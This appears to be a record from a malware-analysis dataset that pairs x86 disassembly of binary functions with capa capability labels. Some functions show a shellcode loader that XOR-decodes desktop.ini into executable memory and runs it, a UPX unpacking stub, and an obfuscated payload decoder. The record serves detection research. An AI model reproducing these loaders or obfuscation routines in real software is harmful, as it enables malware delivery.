joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x100010e3
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 8]
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [ebp - 4], eax
or eax, eax
je 0x10001115
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x10001115
push dword [ebp - 4]
call fcn.100010c6
push 0
pop dword [ebp - 4]
mov eax, dword [ebp - 4]
leave
ret 4

Function at 0x10001134
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.1000111c
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.1000111c
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push 0
call sub.kernel32.dll_CreateProcessA
lea edi, [ebp - 0x54]
push dword [edi]
push dword [edi + 4]
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_CloseHandle
leave
ret 4
Function at 0x4ffe20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xad000]
lea eax, [edi + 0xc70c8]
push dword [eax]
mov dword [eax], 0x6206752
push eax
push edi
jmp 0x4ffe4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4ffe51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ffe40
mov eax, 1
add ebx, ebx
jne 0x4ffe63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4ffe74
jne 0x4ffe93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ffe93
dec eax
add ebx, ebx
jne 0x4ffe80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4ffe58
add ebx, ebx
jne 0x4ffe8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4ffee5
xor ecx, ecx
sub eax, 3
jb 0x4ffeab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4fff1a
sar eax, 1
mov ebp, eax
jmp 0x4ffeb6
add ebx, ebx
jne 0x4ffeb6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ffe84
inc ecx
add ebx, ebx
jne 0x4ffec4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4ffe84
add ebx, ebx
jne 0x4ffed1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4ffec6
jne 0x4ffee2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4ffec6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4fff04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4ffef6
jmp 0x4ffe46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4fff04
add edi, ecx
jmp 0x4ffe46
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x492a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4fff26
cmp byte [edi], 0x25
jne 0x4fff26
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4fff2b
lea edi, [esi + 0xfc000]
mov eax, dword [edi]
or eax, eax
je 0x4fffa3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x100664]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x100788]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4fff58
mov ecx, edi
jns 0x4fff87
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x100790]
or eax, eax
je 0x4fff9d
mov dword [ebx], eax
add ebx, 4
jmp 0x4fff75
call dword [esi + 0x10078c]
mov ebp, dword [esi + 0x100794]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4fffd7
sub esp, 0xffffff80
jmp 0x4014e0
Function at 0x1001fb80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1001fb8f
pop dword [ebp - 0x40]
mov eax, 0x522ca69e
sub eax, 0x422aab0f
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x49f46aac
sub dword [ebp - 0x50], 0xfba22561
mov dword [ebp - 0x4c], 0x4c0f9cea
add dword [ebp - 0x4c], 0xe623af5b
mov dword [ebp - 0x48], 0x78705e5d
add dword [ebp - 0x48], 0xd3dbe5d1
mov dword [ebp - 0x44], 0xa24b5d65
sub dword [ebp - 0x44], 0xa24b5d65
lea eax, [ebp - 0x50]
push eax
mov eax, 0xe7dd7da9
sub eax, 0xd7d90ce1
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb936f3e9
sub dword [ebp - 0x50], 0x44c48a93
mov dword [ebp - 0x4c], 0xd91c1837
sub dword [ebp - 0x4c], 0x97afb6c2
mov dword [ebp - 0x48], 0x3b4d4659
add dword [ebp - 0x48], 0x28222613
mov dword [ebp - 0x44], 0xa5e96a90
sub dword [ebp - 0x44], 0xa5e96a90
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xd73000ac
add eax, 0x38d47038
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x43dc6
push 0
call eax
mov ecx, 0xb5620204
sub ecx, 0xb561b420
xor ebx, ebx
add ebx, eax
mov esi, 0x10063000
add esi, dword [ebp - 0x40]
mov edx, 0x4977b6df
add edx, 0x46c37d1c
add dword [ebp - 0x28], 0x18bc58ff
mov edi, dword [esi]
sub dword [ebp - 4], esi
xor edi, edx
mov dword [ebx], edi
add dword [ebp - 0x18], esi
add ebx, 4
add esi, 4
loop 0x1001fcad
add eax, 0x8b9b6fd1
sub eax, 0x8b9a456e
xor ebx, ebx
add ebx, eax
add eax, 0xb568c6cb
sub eax, 0xb568c6c6
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40136b
Capabilities:
Create thread

Disassembly:
jmp 0x5f0110
push esi
mov esi, ecx
cmp dword [esi + 0x1f4], 0
push edi
je 0x5f01bf
mov edi, dword [esp + 0x14]
test edi, edi
je 0x5f01bf
push 0
push 1
push 0x817cc0
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, 1
je 0x5f01bf
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov dword [0x817c6c], ecx
mov edx, dword [eax + 4]
mov dword [0x817c70], edx
mov eax, dword [eax + 8]
mov dword [0x817c74], eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov dword [0x817c60], ecx
mov edx, dword [eax + 4]
mov dword [0x817c64], edx
mov eax, dword [eax + 8]
mov edx, dword [esp + 0x18]
mov dword [0x817c68], eax
mov ecx, dword [esi + 0x1f4]
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x401f41
push 0
push 0
mov dword [0x817cbc], ecx
mov dword [0x817cb8], edi
mov dword [0x7ccc60], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x5f01c6
push eax
push 0x817cc0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop edi
xor eax, eax
pop esi
ret 0x10
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
ret 0x10
Function at 0x4027e8
Capabilities:
Read file on windows

Disassembly:
jmp 0x5af360
sub esp, 0x208
mov eax, dword [0x7ce4f0]
xor eax, esp
mov dword [esp + 0x204], eax
push esi
push edi
mov edi, dword [esp + 0x214]
mov esi, ecx
mov dword [esp + 8], edi
test edi, edi
jne 0x5af38e
xor eax, eax
jmp 0x5af44a
push 0x6719d4
push edi
call fcn.00637bab
lea edx, [esi + 0x30]
add esp, 8
mov dword [esi + 4], eax
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x5af3a6
mov eax, dword [esi + 4]
test eax, eax
je 0x5af387
push ebx
push ebp
push 2
push 0
push eax
call fcn.0063e0cc
mov eax, dword [esi + 4]
push eax
call fcn.0063e414
mov ecx, dword [esi + 4]
push 0
push 0
push ecx
mov ebx, eax
call fcn.0063e0cc
add esp, 0x1c
mov ecx, esi
call fcn.00409eee
mov edx, dword [esi + 4]
push edx
push 1
lea edi, [esi + 0x18]
push 0xc
push edi
call fcn.00638029
mov eax, dword [edi]
sub eax, dword [esi + 0x1c]
add esp, 0x10
sub eax, dword [esi + 0x20]
lea ecx, [esi + 0x148]
push eax
call fcn.00406a5a
test eax, eax
jne 0x5af463
push eax
push 0x38
push str.MHFile.cpp
call fcn.00409a0c
mov ecx, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x24]
push str.Bin_File_Version_Error_____s
push edx
call fcn.00637c09
add esp, 0x18
push 0
push 0
lea eax, [esp + 0x1c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop ebp
pop ebx
mov ecx, dword [esp + 0x20c]
pop edi
pop esi
xor ecx, esp
call fcn.006376f4
add esp, 0x208
ret 4
lea ecx, [esi + 0x148]
call fcn.00401456
test eax, eax
je 0x5af507
lea edi, [ebx - 0xe]
push edi
call fcn.0063661a
add esp, 4
mov dword [esi + 0x28], eax
test eax, eax
jne 0x5af49b
push eax
push 0x49
push str.MHFile.cpp
call fcn.00409a0c
add esp, 0xc
jmp 0x5af446
push edi
push 0
push eax
call fcn.00637530
mov ecx, dword [esi + 0x1c]
mov edx, dword [esi + 0x28]
mov eax, dword [esi + 4]
add esp, 0xc
push ecx
push edi
push edx
push eax
lea ecx, [esi + 0x148]
call fcn.00402388
test eax, eax
jne 0x5af4e7
mov ecx, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push str.File_Open_Error_:__s
push edx
call fcn.00637c09
add esp, 0xc
push 0
push 0
lea eax, [esp + 0x1c]
jmp 0x5af43d
mov ecx, dword [esi + 4]
push ecx
call fcn.006378aa
mov eax, 1
add esp, 4
mov dword [esi + 4], 0
mov dword [esi + 0x2c], eax
jmp 0x5af448
mov edx, dword [esi + 4]
push edx
push 1
lea eax, [esi + 0x24]
push 1
push eax
call fcn.00638029
mov eax, dword [esi + 0x20]
add esp, 0x10
test eax, eax
je 0x5af53e
push eax
call fcn.0063661a
mov ecx, dword [esi + 4]
mov edx, dword [esi + 0x20]
push ecx
push edx
push 1
push eax
mov dword [esi + 0x28], eax
call fcn.00638029
add esp, 0x14
mov eax, dword [esi + 4]
push eax
push 1
lea ecx, [esi + 0x25]
push 1
push ecx
call fcn.00638029
mov edx, dword [esi + 4]
push edx
call fcn.006378aa
add esp, 0x14
mov ecx, esi
mov dword [esi + 4], 0
call fcn.00409cf0
test eax, eax
je 0x5af446
call fcn.0040e27d
test eax, eax
je 0x5af446
mov eax, 1
mov dword [esi + 0x2c], eax
jmp 0x5af448
Function at 0x402987
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x5f6d10
sub esp, 0x24
push ebx
push ebp
push esi
mov ebx, ecx
push edi
lea edi, [ebx + 0xb8]
mov ecx, edi
call fcn.004068f7
xor ebp, ebp
cmp dword [ebx + 0x88], ebp
jbe 0x5f6e93
fldz
fstp dword [esp + 0x20]
fld dword [esp + 0x3c]
fmul qword [0x6749f8]
fstp qword [esp + 0x14]
jmp 0x5f6d50
mov ecx, dword [ebx + 0x78]
mov edx, dword [ebx + 0x84]
xor eax, eax
test ecx, ecx
je 0x5f6d67
mov ecx, dword [ecx]
test ecx, ecx
je 0x5f6d67
mov eax, dword [ecx]
lea ecx, [edx + ebp]
test eax, eax
je 0x5f6d7a
mov eax, dword [eax]
test eax, eax
je 0x5f6d7a
mov eax, dword [eax]
test eax, eax
jne 0x5f6d7e
xor edx, edx
jmp 0x5f6d80
mov edx, dword [eax]
mov esi, dword [edx + 8]
mov eax, ecx
shr eax, 2
and ecx, 3
cmp esi, eax
ja 0x5f6d91
sub eax, esi
mov edx, dword [edx + 4]
mov eax, dword [edx + eax*4]
mov ecx, dword [eax + ecx*4]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
test eax, eax
jns 0x5f6db3
fadd dword [0x674594]
fmul dword [esp + 0x3c]
mov eax, dword [ebx + 0x78]
mov ecx, dword [ebx + 0x84]
xor edx, edx
fadd qword [esp + 0x14]
fstp dword [esp + 0x1c]
test eax, eax
je 0x5f6dd6
mov eax, dword [eax]
test eax, eax
je 0x5f6dd6
mov edx, dword [eax]
add ecx, ebp
test edx, edx
je 0x5f6de8
mov edx, dword [edx]
test edx, edx
je 0x5f6de8
mov edx, dword [edx]
test edx, edx
jne 0x5f6dec
xor edx, edx
jmp 0x5f6dee
mov edx, dword [edx]
mov esi, dword [edx + 8]
mov eax, ecx
shr eax, 2
and ecx, 3
cmp esi, eax
ja 0x5f6dff
sub eax, esi
mov edx, dword [edx + 4]
mov eax, dword [edx + eax*4]
mov ecx, dword [eax + ecx*4]
mov edx, dword [ecx]
mov eax, dword [edx + 0x14]
call eax
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
test eax, eax
jns 0x5f6e21
fadd dword [0x674594]
fmul dword [esp + 0x3c]
mov ecx, dword [edi + 0x10]
inc ecx
fadd qword [esp + 0x14]
fstp dword [esp + 0x24]
cmp dword [edi + 8], ecx
ja 0x5f6e3f
push 1
mov ecx, edi
call fcn.004106e0
mov esi, dword [edi + 0xc]
add esi, dword [edi + 0x10]
mov eax, dword [edi + 8]
cmp eax, esi
ja 0x5f6e4e
sub esi, eax
mov edx, dword [edi + 4]
cmp dword [edx + esi*4], 0
jne 0x5f6e6b
push 0xc
call fcn.006375e6
add esp, 4
test eax, eax
je 0x5f6eab
mov ecx, dword [edi + 4]
mov dword [ecx + esi*4], eax
mov eax, dword [edi + 4]
mov ecx, dword [eax + esi*4]
lea edx, [esp + 0x1c]
push edx
push ecx
lea edx, [edi + 0x14]
push edx
call fcn.0040cc4d
inc dword [edi + 0x10]
inc ebp
add esp, 0xc
cmp ebp, dword [ebx + 0x88]
jb 0x5f6d50
mov esi, dword [esp + 0x38]
push edi
mov ecx, esi
call fcn.0040c3d8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 8
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x2c]
mov dword [esp + 0x14], 0
call fcn.0063882a
push 0x6a94a0
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], vtable.std::bad_alloc.0
call fcn.006383dc
int3
Function at 0x40366b
Capabilities:
Print debug messages

Disassembly:
jmp 0x4be5c0
push ebx
mov ebx, dword [esp + 8]
mov eax, dword [ebx]
push edi
mov edi, ecx
test eax, eax
jne 0x4be5e0
push str.Item_DB_idx__0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
xor eax, eax
pop ebx
ret 4
push esi
push eax
mov ecx, 0x7e2b98
call fcn.0040d2ab
mov esi, eax
test esi, esi
je 0x4be5ff
mov ax, word [ebx + 6]
mov word [esi + 0x28e], ax
jmp 0x4be62d
push str.CItemShopGridDialog::AddItem
push ebx
mov ecx, 0x7e2b98
call fcn.00402db5
mov esi, eax
test esi, esi
jne 0x4be61b
pop esi
pop edi
pop ebx
ret 4
push esi
mov ecx, 0x7e2b98
mov dword [esi + 0x24], 1
call fcn.0040f439
mov edx, dword [esi]
mov eax, dword [edx + 0x7c]
mov ecx, esi
call eax
movzx ecx, ax
push ecx
mov ecx, edi
call fcn.0040cf59
movzx eax, ax
push esi
push eax
mov ecx, edi
call fcn.0040ab5f
pop esi
pop edi
pop ebx
ret 4
Function at 0x406258
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x5f6b40
sub esp, 0x24
push ebx
push ebp
push esi
mov ebx, ecx
push edi
lea edi, [ebx + 0xa0]
mov ecx, edi
call fcn.004068f7
mov ebp, 1
cmp dword [ebx + 0x88], ebp
jbe 0x5f6cc3
fldz
fstp dword [esp + 0x20]
fld dword [esp + 0x3c]
fmul qword [0x6749f8]
fstp qword [esp + 0x14]
jmp 0x5f6b80
mov ecx, dword [ebx + 0x78]
mov edx, dword [ebx + 0x84]
xor eax, eax
test ecx, ecx
je 0x5f6b97
mov ecx, dword [ecx]
test ecx, ecx
je 0x5f6b97
mov eax, dword [ecx]
lea ecx, [edx + ebp]
test eax, eax
je 0x5f6baa
mov eax, dword [eax]
test eax, eax
je 0x5f6baa
mov eax, dword [eax]
test eax, eax
jne 0x5f6bae
xor edx, edx
jmp 0x5f6bb0
mov edx, dword [eax]
mov esi, dword [edx + 8]
mov eax, ecx
shr eax, 2
and ecx, 3
cmp esi, eax
ja 0x5f6bc1
sub eax, esi
mov edx, dword [edx + 4]
mov eax, dword [edx + eax*4]
mov ecx, dword [eax + ecx*4]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
call eax
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
test eax, eax
jns 0x5f6be3
fadd dword [0x674594]
fmul dword [esp + 0x3c]
mov eax, dword [ebx + 0x78]
mov ecx, dword [ebx + 0x84]
xor edx, edx
fadd qword [esp + 0x14]
fstp dword [esp + 0x1c]
test eax, eax
je 0x5f6c06
mov eax, dword [eax]
test eax, eax
je 0x5f6c06
mov edx, dword [eax]
add ecx, ebp
test edx, edx
je 0x5f6c18
mov edx, dword [edx]
test edx, edx
je 0x5f6c18
mov edx, dword [edx]
test edx, edx
jne 0x5f6c1c
xor edx, edx
jmp 0x5f6c1e
mov edx, dword [edx]
mov esi, dword [edx + 8]
mov eax, ecx
shr eax, 2
and ecx, 3
cmp esi, eax
ja 0x5f6c2f
sub eax, esi
mov edx, dword [edx + 4]
mov eax, dword [edx + eax*4]
mov ecx, dword [eax + ecx*4]
mov edx, dword [ecx]
mov eax, dword [edx + 0x14]
call eax
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
test eax, eax
jns 0x5f6c51
fadd dword [0x674594]
fmul dword [esp + 0x3c]
mov ecx, dword [edi + 0x10]
inc ecx
fadd qword [esp + 0x14]
fstp dword [esp + 0x24]
cmp dword [edi + 8], ecx
ja 0x5f6c6f
push 1
mov ecx, edi
call fcn.004106e0
mov esi, dword [edi + 0xc]
add esi, dword [edi + 0x10]
mov eax, dword [edi + 8]
cmp eax, esi
ja 0x5f6c7e
sub esi, eax
mov edx, dword [edi + 4]
cmp dword [edx + esi*4], 0
jne 0x5f6c9b
push 0xc
call fcn.006375e6
add esp, 4
test eax, eax
je 0x5f6cdb
mov ecx, dword [edi + 4]
mov dword [ecx + esi*4], eax
mov eax, dword [edi + 4]
mov ecx, dword [eax + esi*4]
lea edx, [esp + 0x1c]
push edx
push ecx
lea edx, [edi + 0x14]
push edx
call fcn.0040cc4d
inc dword [edi + 0x10]
inc ebp
add esp, 0xc
cmp ebp, dword [ebx + 0x88]
jb 0x5f6b80
mov esi, dword [esp + 0x38]
push edi
mov ecx, esi
call fcn.0040c3d8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 8
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x2c]
mov dword [esp + 0x14], 0
call fcn.0063882a
push 0x6a94a0
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x30], vtable.std::bad_alloc.0
call fcn.006383dc
int3
Function at 0x40744b
Capabilities:
Print debug messages

Disassembly:
jmp 0x5eec10
jmp 0x5f5100
mov ecx, dword [ecx + 0x1f4]
test ecx, ecx
jne 0x5eec1f
xor eax, eax
ret 8
jmp 0x40e511
mov edx, dword [esp + 4]
fld dword [edx]
sub esp, 8
fld qword [0x67b7d0]
fcom st(1)
fnstsw ax
fstp st(1)
test ah, 0x41
jnp 0x5f5204
fldz
fcom dword [edx]
fnstsw ax
test ah, 0x41
je 0x5f5202
fld dword [edx + 8]
fcomp st(2)
fnstsw ax
fstp st(1)
test ah, 1
je 0x5f5204
fcomp dword [edx + 8]
fnstsw ax
test ah, 0x41
je 0x5f5206
push esi
fnstcw word [esp + 0x10]
mov esi, dword [esp + 0x14]
fld dword [esi + 8]
fld qword [0x679f20]
movzx eax, word [esp + 0x10]
fdiv st(1), st(0)
or eax, 0xc00
mov dword [esp + 0x14], eax
fldcw word [esp + 0x14]
fxch st(1)
fistp qword [esp + 4]
mov eax, dword [esp + 4]
push eax
fldcw word [esp + 0x14]
fld dword [esi]
fdiv st(1)
fnstcw word [esp + 0x14]
movzx eax, word [esp + 0x14]
or eax, 0xc00
mov dword [esp + 0x18], eax
fldcw word [esp + 0x18]
fistp qword [esp + 8]
mov eax, dword [esp + 8]
push eax
fldcw word [esp + 0x18]
fld dword [edx + 8]
fdiv st(1)
fnstcw word [esp + 0x18]
movzx eax, word [esp + 0x18]
or eax, 0xc00
mov dword [esp + 0x1c], eax
fldcw word [esp + 0x1c]
fistp qword [esp + 0xc]
mov eax, dword [esp + 0xc]
push eax
fldcw word [esp + 0x1c]
fdivr dword [edx]
fnstcw word [esp + 0x1c]
movzx eax, word [esp + 0x1c]
or eax, 0xc00
mov dword [esp + 0x20], eax
fldcw word [esp + 0x20]
fistp qword [esp + 0x10]
mov edx, dword [esp + 0x10]
push edx
fldcw word [esp + 0x20]
call fcn.00408e3b
pop esi
add esp, 8
ret 8
fstp st(0)
fstp st(0)
push str._____________________________.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
add esp, 8
ret 8

Function at 0x40745f
Capabilities:
Write file on windows

Disassembly:
jmp 0x570060
sub esp, 0x18
mov eax, dword [0x7ce4f0]
xor eax, esp
mov dword [esp + 0x14], eax
mov ecx, dword [0x7e1d24]
push esi
mov esi, dword [esp + 0x20]
test ecx, ecx
je 0x5700fa
call fcn.00401f7d
fld dword [0x818198]
push 0
push 0x80
push 2
push 0
mov dword [esp + 0x20], eax
mov eax, dword [0x7e1d24]
mov cx, word [eax + 0x688]
fstp dword [esp + 0x24]
push 0
push 0x40000000
push esi
mov word [esp + 0x28], cx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x5700fa
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [esp + 0xc]
push edx
push 4
lea eax, [esp + 0x18]
push eax
push esi
mov dword [esp + 0x20], 0x6060801
call edi
push 0
lea ecx, [esp + 0xc]
push ecx
push 0xc
lea edx, [esp + 0x1c]
push edx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [esp + 0x18]
pop esi
xor ecx, esp
call fcn.006376f4
add esp, 0x18
ret 4
Function at 0x407b21
Capabilities:
Read file on windows

Disassembly:
jmp 0x53a530
sub esp, 8
push ebx
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.._ini_GameOption.opt
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x53a563
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [esp + 0x10]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push esi
mov dword [esp + 0x20], 0
call edi
test eax, eax
je 0x53a5a8
cmp dword [esp + 0x10], 0x61208
jne 0x53a5a8
push 0
lea edx, [esp + 0x10]
push edx
push 0xac
add ebx, 4
push ebx
push esi
call edi
test eax, eax
jne 0x53a5b8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
cmp dword [esp + 0xc], 0xac
push esi
ja 0x53a5a9
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret

Function at 0x407ca7
Capabilities:
Enumerate processes

Disassembly:
jmp 0x50dac0
sub esp, 0x1ac
mov eax, dword [0x7ce4f0]
xor eax, esp
mov dword [esp + 0x1a8], eax
push ebx
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
push esi
mov esi, ecx
call ebx
cmp dword [esi + 0xf4], 0
jne 0x50daef
mov dword [esi + 0xf4], eax
sub eax, dword [esi + 0xf4]
cmp eax, 0x1388
jbe 0x50dbcb
mov ecx, dword [esi + 0xd0]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0xe4], eax
test ecx, ecx
jle 0x50db25
test eax, eax
je 0x50db22
mov eax, dword [eax]
mov dword [esi + 0xe4], eax
dec ecx
jne 0x50db16
push edi
push 0
push 2
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x50dbca
lea ecx, [esp + 0xc]
push ecx
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x50dbbb
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x138]
push 0x671e1c
push eax
call fcn.00637c09
add esp, 0xc
lea ecx, [esp + 0x134]
push ecx
mov ecx, esi
call fcn.00404d22
test eax, eax
je 0x50dbac
mov ecx, 0x7f55f8
call fcn.0040db07
push 0x230
mov ecx, 0x7e4388
call fcn.004107c1
push eax
push 1
push 0x179e
push 0x7e1258
call fcn.00408a3a
add esp, 0x10
lea edx, [esp + 0xc]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x50db51
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov dword [esi + 0xf4], eax
pop edi
mov ecx, dword [esp + 0x1b0]
pop esi
pop ebx
xor ecx, esp
call fcn.006376f4
add esp, 0x1ac
ret
Function at 0x407cc5
Capabilities:
Resolve dns

Disassembly:
jmp 0x5b4040
sub esp, 0x114
mov eax, dword [0x7ce4f0]
xor eax, esp
mov dword [esp + 0x110], eax
push ebx
push esi
mov esi, dword [esp + 0x120]
lea edx, [esp + 0x18]
mov ebx, ecx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x5b4067
movsx eax, byte [esi]
push eax
call fcn.0063e83a
add esp, 4
test eax, eax
je 0x5b40df
lea ecx, [esp + 0x18]
push ecx
call sub.WSOCK32.dll_gethostbyname
mov esi, eax
test esi, esi
je 0x5b414a
mov eax, dword [esi + 0xc]
push edi
xor edi, edi
cmp dword [eax], edi
je 0x5b40de
nop
movsx edx, word [esi + 0xa]
mov eax, dword [eax]
push edx
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00638430
mov edx, dword [esp + 0x1c]
add esp, 0xc
push edx
call sub.WSOCK32.dll_inet_ntoa
push eax
lea eax, [esp + 0x20]
push 0x671e1c
push eax
call fcn.00637c09
mov ecx, dword [esi + 0xc]
inc edi
lea eax, [ecx + edi*4]
add esp, 0xc
cmp dword [eax], 0
jne 0x5b40a0
pop edi
lea edx, [esp + 0x18]
push edx
push 0x20
push 0x7f3b7c
call fcn.0063e785
mov eax, dword [0x7f3bc0]
mov esi, dword [esp + 0x130]
imul eax, eax, 0x58
add esp, 0xc
cmp si, word [eax + 0x80f520]
jne 0x5b4127
cmp dword [0x7f3ba0], 0
je 0x5b4127
cmp dword [0x7f3bbc], 0
jne 0x5b4127
mov ecx, 0x7f3ba0
call fcn.00401c67
mov eax, dword [ebx + 0x114]
mov ecx, dword [eax]
push esi
lea edx, [esp + 0x1c]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
xor ecx, ecx
test eax, eax
setne cl
